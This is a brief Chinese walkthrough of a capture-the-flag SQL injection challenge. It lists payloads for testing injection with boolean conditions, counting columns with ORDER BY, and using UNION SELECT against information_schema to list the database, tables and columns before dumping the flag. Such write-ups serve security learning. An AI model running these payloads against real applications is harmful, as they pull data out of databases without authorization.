手动解题步骤
1. 检查是否存在注入
and 1=1 #返回正确
and 1=2 #返回错误
存在
2. 猜字段数 得出字段数
1 order by 1
1 order by 2
1 order by 3
可以看出存在俩个字段
3. 爆数据库名
-1 union select user(),database()
## -1是为了前面部分查询无结果,从而显示后面union的查询结果
得到数据库名称sqli
4. 爆表名
-1 union select 999,group_concat(table_name)from information_schema.tables where table_schema='sqli'
得到表名 news,flag
5. 爆列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
得到字段名flag
6. 获得flag
-1 union select 1,group_concat(flag) from sqli.flag